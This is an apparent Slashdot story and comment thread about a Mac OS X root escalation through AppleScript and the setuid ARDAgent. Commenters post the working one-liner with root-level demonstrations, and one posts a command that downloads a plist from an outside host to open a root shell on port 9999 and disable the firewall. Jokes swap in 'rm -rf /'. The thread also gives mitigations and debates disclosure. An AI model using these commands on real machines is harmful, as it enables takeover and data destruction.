Mac OS X Root Escalation Through AppleScript

An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

Comments

ARDAgent is Apple Remote Desktop

[dch24]

ARD = Apple Remote Desktop You can remove it by following these instructions.

Re:ARDAgent is Apple Remote Desktop

[palegray.net]

BTW, let's all thank Timothy, Pudge, and the rest of the /. gang for ensuring a fresh crop of zombie spambots, shall we? What happened to common courtesy? I thought etiquette dictated giving the manufacturer a heads up and a little time to fix their shit. I guess the ad dollars and attention whoring was just too much too resist. Enjoy your blood money fellas, the internet will suck just a little bit more thanks to you guys. Seeing as how your username is "MacDork" I've just gotta ask: would you feel the same way if this article described a Windows exploit?

Also, who says Apple wasn't notified of this problem in advance? I'm not saying they were or weren't, but I don't have data either way. This is the same community that loves to lambast Microsoft for their security issues (rightly so, in most cases), but fully supports immediate disclosure of exploits before patches are released by Microsoft (although MS has taken forever to fix many problems). As a network admin, I'm a fan of full disclosure, which gives the ability to do something about the issue until a patch is released. Others see things differently.

Physical access?

[Menkhaf]

Could somebody explain how running a script requires physical access?

Re:Physical access?

[Medieval_Gnome]

This does not work over ssh, at least not if you user isn't also logged in physically to the machine. If you try over ssh, it gives the error

_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

However, it does work if you have a remote desktop view into a machine.

Re:Physical access?

[pudge]

The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.

Re:Physical access?

[Anonymous Coward]

You don't need any sort of remote login, all you need is a client (web browser, Quicktime, Flash, etc.) buffer overflow that you can use to start a shell...

Re:Physical access?

[pudge]

A terminal isn't enough? Correct.

Re:Physical access?

[MyDixieWrecked]

Actually... interesting.

I wasn't switched to via fastuserswitching, but I do lock my screen. that seems to have an impact on it, too.

I ssh'd into my box at home and running this was successful.

fwiw, osascript doesn't work if the user isn't logged into aqua. I've tried writing volume controller scripts and I tried scripting Unison and other applications and they don't work if you're not logged in physically at the machine.

So basically, an exploit would need to be fired by the user or by something the user did (ie: surf to a website).

This is interesting.

Re:Physical access?

[tverbeek]

A remote terminal session doesn't get you access to the OS X GUI, which is where AppleScript is found.

Re:Physical access?

[Firehed]

True. But presumably you could write the script in any of the command-line editors and save it to the desktop or something, at which point the user could click on it.

Not that it matters. If you have that level of access, you're already in a position to do more damage than what you could do through this exploit, by the sounds of it.

Re:Physical access?

[Jasin Natael]

The user wouldn't need to do anything. If you log in via SSH as a limited user, you could (theoretically) use OS X's "open" command to launch the file as if it was clicked, from anywhere in the filesystem. The catch is that your SSH login must be the current user of the Window Server (locally logged-in).

Re:Physical access?

[Tokerat]

I'm going to burn some mod points and ask why this isn't possible if you SSH into an OS X box. It's fair to link to an explanation if I've missed something, and no, this is not typical sarcastic geek doubt, I'd genuinely like to know.

Physical access? Have you heard of malware?

[jeffmeden]

On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out. Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities (also known as 'standard procedure' in the Windows community). What makes this exploit so useless, given that all the perpetrator has to do is send it out to enough people hoping just a few will run it?

It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.

Re:ARDagent

[Medieval_Gnome]

I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.

Even as a normal user on my mac, the exploit code works.

It's the same marketing mistake as Microsoft.

[pandrijeczko]

Yes, I fully accept that an exploit requiring physical access to a machine is a much lower security risk than one that can be carried out from a remote location.

But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.

And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.

So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.

Re:Only need a shell....

[pudge]

Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.

Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

Nope. You cannot do it via SSH unless that account is already logged in physically, at the console.

[pudge@bourque ~]$ ls -l /etc/test1
ls: /etc/test1: No such file or directory
[pudge@bourque ~]$ touch /etc/test1
touch: /etc/test1: Permission denied
[pudge@bourque ~]$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test1"'
[pudge@bourque ~]$ ls -l /etc/test1
-rw-rw-rw- 1 root wheel 0 Jun 18 11:27 /etc/test1

versus:

[pudge@bourque ~]$ ssh maintenance@localhost
bourque:~ maintenance$ ls -l /etc/test2
ls: /etc/test2: No such file or directory
bourque:~ maintenance$ touch /etc/test2
touch: /etc/test2: Permission denied
bourque:~ maintenance$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test2"'
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

MOD PARENT DOWN

[Moridineas]

Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.

Re:Can we get some sources?

[Anonymous Coward]

who needs a source, it works. tried on my mac, output is: root

so i tried replacing "whoami" with "rm -rf /" and

!@#ca$a%H&(
+++NO CARRIER

This is a serious privilege escalation bug, but...

[argent]

First, yes, this is a serious bug. It's a classic blunder, like getting into a land war in Asia, and is similar to the in NT3.51's scheduler to get LOCALSYSTEM rights, or the one in /bin/write in 2BSD to get a root shell.

It's also easy to fix.

And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.

THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.

Security is like sex. Once you're penetrated you're ****ed.

The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.

Re:not a full exploit, yet

[rritterson]

Actually, the above only occurs as I had 'su'ed to another user, then ran the above command. If, instead of using su I simply try to touch a file in the second account, it works just fine. So I retract the above.

Re:This is a serious privilege escalation bug, but

[Bert64]

No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.

Re:Physical access? Have you heard of malware?

[Goaway]

Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities No, it does not. Most malware doesn't need root to do most of the things it wants to do. Having root opens up some more possibilities, but it is by now means required.

Re:Insecure root-owned binaries on unix?

[Charles Dodgeson]

That's it:

% ls -l /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
-rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent

Time to run find(1) to see if there are any other things like this.

And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.

Re:ARDagent

[generica1]

My apologies. There was no article sourced in the posting and I couldn't recreate the exploit on any of the Macs in my house via SSH *or* with local physical access via Terminal.app. I kept getting:

23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

No matter whether I tried ssh from remote, or local console bash.

Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).

So....YMMV....

Re:This is a serious privilege escalation bug, but

[Applekid]

. . . It's a classic blunder, like getting into a land war in Asia . . . 99 44/100 percent . . . Security is like sex. Once you're penetrated you're ****ed. You are now my new favorite poster.

Proof of Concept Possibilities

[AgentOJ]

This code could easily be wrapped into the preflight scripts for an Installer package in OS X, or integrated into any piece of malware to escalate itself to root without any user interaction beyond downloading it and launching it. In this sense, the arguments against the DNSChanger Trojan Horse of "it requires an admin password to be installed" becomes null and void. This is fairly serious, folks. One-click privilege escalation is way too easy for script-kiddies and professional malware distributers alike to integrate into their nasty programs.

Re:I confirmed it to.

[Gewalt]

My IQ is 162 and I didn't get your joke. Just how smart do you have to be to get that one?

Re:Quick Question

[Charles Dodgeson]

I've got it to run destructive things as an ordinary user without any need for authentication beyond being logged in

% osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content > /etc/resolv.conf"' % cat /etc/resolv.conf
Nasty Content

One more, maybe.

[bill_mcgonigle]

Time to run find(1) to see if there are any other things like this.

Assumptions:
AppleScripting is only applicable to .app's
"do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.

Results:

%sudo find /System/ -type f -ls | grep ' -rws' | grep MacOS | grep '\.app'
365120 2864 -rwsr-xr-x 1 root wheel 1463076 Oct 17 2007 /System//Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
376733 120 -rws--x--x 1 root daemon 61076 Jul 11 2007 /System//Library/Filesystems/AppleShare/check_afp.app/Contents/MacOS/check_afp

Now, I have one of the machines where this exploit isn't working:

%osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

So, somebody out there who can get it to work, see if:

%osascript -e 'tell app "check_afp" to do shell script "whoami"'

works or not. That might need full pathing, I'm not sure.

Re:I confirmed it to.

[Poltras]

You have to have a UID lower than your own IQ, or the IQ of the poster. At least that's what I was told.

Intellectual Honesty

[JeffSpudrinski]

Firstly, I want to say I'm impressed.

I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.

I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).

There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.

This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).

Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.

There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).

I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.

Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.

p.s. I love the "security is like sex" comment above. Well put.

Re:ARDagent

[Sentry21]

Disconfirmed - I don't have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.

dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such file or directory
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/somefile"'
dan@Geelong:~$ ls -lh /etc/somefile
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16 /etc/somefile
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm /etc/somefile"'
dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such file or directory So, how dangerous is this? Here's an example:

osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "'

This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.

To remove, run 'launchctl unload com.apple.bash' 'launchctl unload /System/Library/LaunchDaemons/bash.plist' and then 'rm /System/Library/LaunchDaemons/bash.plist'

It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.

So yeah; anything can be downloaded, and anything can be done with it. Scary.

Re:This is a serious privilege escalation bug, but

[argent]

No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.

Unfortunately KDE, Qt, X11, Gtk, Gnome, and the whole "let's make Linux into Windows" desktop hodgepodge that's layered on top of UNIX[1] is incredibly complex, has many components running with elevated privileges, and while it has fewer exploitation vectors than Windows it's conceptually more complex than the NeXTstep-derived equivalents in OS X.

And on top of that, many linux distros have resurrected the absolutely insane concept of Autorun CDs, something Apple was smart enough to abandon back in the dark ages of floppy distribution.

So, all in all, "do not be so proud of this technological terror". I'd go on, but I've got work to do. :)

[1] No, X11 is not really a UNIX API, it was designed to be platform independent, ran on UNIX and VMS from the start, and completely ignores many of the fundamental design goals of UNIX as well as many of the most useful *results* of those design goals.

It's easier than that..

[theolein]

Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.

It's almost like Anna_Kournikova.jpg.vbs all over again.

Recipe for neutralizing it

[goombah99]

Here's a non-destructive way to neutralize it.

cd /System/Library/CoreServices/RemoteManagement/

sudo tar -czf ARDAgent.app.gz ARDAgent.app

sudo chmod 600 ARDAgent.app.gz

This simply hides it in an unreadable tarball.

Re:Recipe for neutralizing it

[patrick42]

Or more simply:

chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent

After doing that, I get:

patrick@picasso:~$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
patrick

(Repairing permissions will probably reset this though.)

Re:Recipe for neutralizing it

[Kadin2048]

No, GP was correct. On Mac OS X, ".app" means an application bundle ... which is a directory, not a file.

If you try to gzip an application bundle without putting it in a tarball first, you'll just get a "foo.app/ is a directory; ignored" error.

It's confusing because the Finder doesn't treat application bundles like normal directories, but that's what they are to the filesystem and *nix utilities.

Re:Recipe for neutralizing it

[djw]

Don't forget to delete the original afterwards: sudo rm -rf ARDAgent.app

Re:Recipe for neutralizing it

[eikonos]

Why use sudo when you could just use the ARDAgent hack instead?
osascript -e 'tell app "ARDAgent" to do shell script "gzip ARDAgent.app"';

Re:Recipe for neutralizing it

[aetherworld]

Nononono....

it's: osascript -e 'tell app "ARDAgent" to do shell script "rm -rf ARDAgent.app"';

Re:ARDagent

[Kadin2048]

I don't think the GP was saying that you need to have Screen Sharing enabled for the exploit to work at all; you need to have Screen Sharing turned on for someone to run the exploit without physical access to the machine.

I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.

That was my understanding, at least.

The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.

It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.

Physical Access Excuse?

[TheNetAvenger]

On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

What about non personal deployments?

Like corporate installations?
Kiosk installations?
Any small business that wants to secure a machine?
How about a class room that you want kiddies to run games but not wipe the OS?

Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.

In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.

(SlashDot Editors? WTF?)

What's the harm of this?

[commodoresloat]

Is it really bad for an attacker to find out who I am using this "whoami" thingy?

Re:Oh good

[Free the Cowards]

Sarcasm does not make you more handsome or bring you favor with the ladies.

Re:Oh good

[robfoo]

Yeah, right.

Re:This is a serious privilege escalation bug, but

[argent]

KDE opens a dialog and asks you if you want the CD to be mounted

I call those "Should I do something stupid" dialogs.

Given that:

* The answer should almost always be "no".
* It's less hassle if it doesn't ask, just doesn't do it.
* Users get trained to answer "yes", because they keep getting them.

Any time you're putting up "Should I do something stupid" dialogs, you're making things easy for people who are trying to use social engineering to install malware.

Here's the history of Apple's experiment with stupid security dialogs in Safari:

http://scarydevil.com/~peter/io/osx-security.html
http://scarydevil.com/~peter/io/apple.html
http://scarydevil.com/~peter/io/apple3.html
http://scarydevil.com/~peter/io/apple4.html

They finally wised up, and removed the "doing something really stupid" bit, by turning off "open Safe files" by default.

Microsoft's been in denial about the same thing since 1997.

http://scarydevil.com/~peter/io/airlines.html

Windows Airlines:
The terminal is very neat and clean, with security barriers every few meters. The attendants are attractive, even if it's kind of creepy how much they want to "help" (especially in the restrooms). The pilots are allegedly very capable, though nobody ever sees them and there's an armed guard by the cockpit door. The fleet of jets it operates are immense. Your jet takes off without a hitch, pushing above the clouds, and at 20,000 feet a message pops up on the seat back in front of you asking "Should this plane explode now?".

Some idiot always answers "Yes".

Windows is so much worse than everyone else that people tend to ignore it when Apple or KDE does something slightly less stupid than ActiveX, but it's still stupid, and putting up a "should this plane explode now?" dialog doesn't eliminate the stupidity.

Apple's Knowledge Base reports this is 'safe'

[AEton]

Item TS1448 in the Apple support knowledge base addresses this issue and is dated June 6, 2008. The issue was reported by users as early as October.

Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...

Apple's reported fix, and I am not making this up:

The resolution:
You can safely ignore these messages. They are accurate but not a cause for concern.

The entire text below, in case Apple deletes it:
  Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files

        * Last Modified: June 06, 2008
        * Article: TS1448

        * Old Article: 306925

Symptoms

The following messages may appear in the Disk Utility log window when repairing disk permissions.

Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.

Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.

Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.

Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.

"Any message that starts with: 'ACL found but not expected on...'."
Products Affected

Mac OS X 10.5
Resolution

You can safely ignore these messages. They are accurate but not a cause for concern.

I'm a Mac. And I'm a PC

[patio11]

Mac: Oh %$#& %$#& %$#& %$#&.

PC: I can relate.

Mac: No!! %$#& %$#& %$#&

PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.

Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.

PC: You know, they can do wonderful things these days with firewall software.

Mac: I want to cut myself.

PC: Not a good idea as a root user, Mac.

Mac: *glowers*

PC: I only kid because I love you.

Fix using Info.plist

[jediknil]

This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)

<key>NSAppleScriptEnabled</key>
<string>YES</string>

That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.

P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.

Re:Fix using Info.plist

[mzs]

Hmm, this works for me and is persistent across runs. Do this as an admin user:

$ sudo defaults write /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info NSAppleScriptEnabled YES
$ sudo plutil -convert xml1 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist
$ sudo chmod 644 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist

The NSAppleScriptEnabled seems to force the use of the standard applescript dictionary which lacks the "do shell script" action. This is what you get when you try again:

$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

Re:This is a serious privilege escalation bug, but

[mabinogi]

KDE opens a dialog and asks you if you want the CD to be mounted

I call those "Should I do something stupid" dialogs. Just out of interest, under which circumstances do you _not_ want a data CD to be mounted when you insert it in your drive?

Your average optical drive is rather expensive to use as a CD case you know.

My mistake

[Macka]

Ah, now I understand what you meant. I just SSH'd into a headless Mac Mini I have and tried it. It kicks out the message:

pebbles: ~ $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

Then after a timeout delay it returns with an error:

23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)

So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.

So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!

Re:Even better question

[TrekkieGod]

My even better question is: why is "bah, it requires physical access" seen as an automatic "don't worry about it" around these parts?...Workstations at work have lots of people who can log into them...Plus there are a lot of people who can physically get near any computer, up to CEO level. Like, say, the janitors.

The reason that requiring physical access is seen as no big deal is because all that stuff you're worried about is something I can do without the need of any exploits.

Got a machine with literally any operating system? All I need is to reboot the computer with a linux live cd (or usb thumb drive) and I get read / write access to everywhere. From there I can plant trojans, read your files, do whatever.

Got a Linux machine? I can reboot and use grub to boot into single-user mode. There you go, I'm root. I can do all the of the above again.

The only way to have any security at the physical level is with encryption. And when we see encryption exploits, we do get hyped up about it. Even with encryption, more security measures still need to be taken at the physical level. A physical keylogger between the keyboard and computer could be installed to discover typed passwords, etc.

That said, an exploit is an exploit, and it should be treated as such. Physical-access only just means there's less to worry about.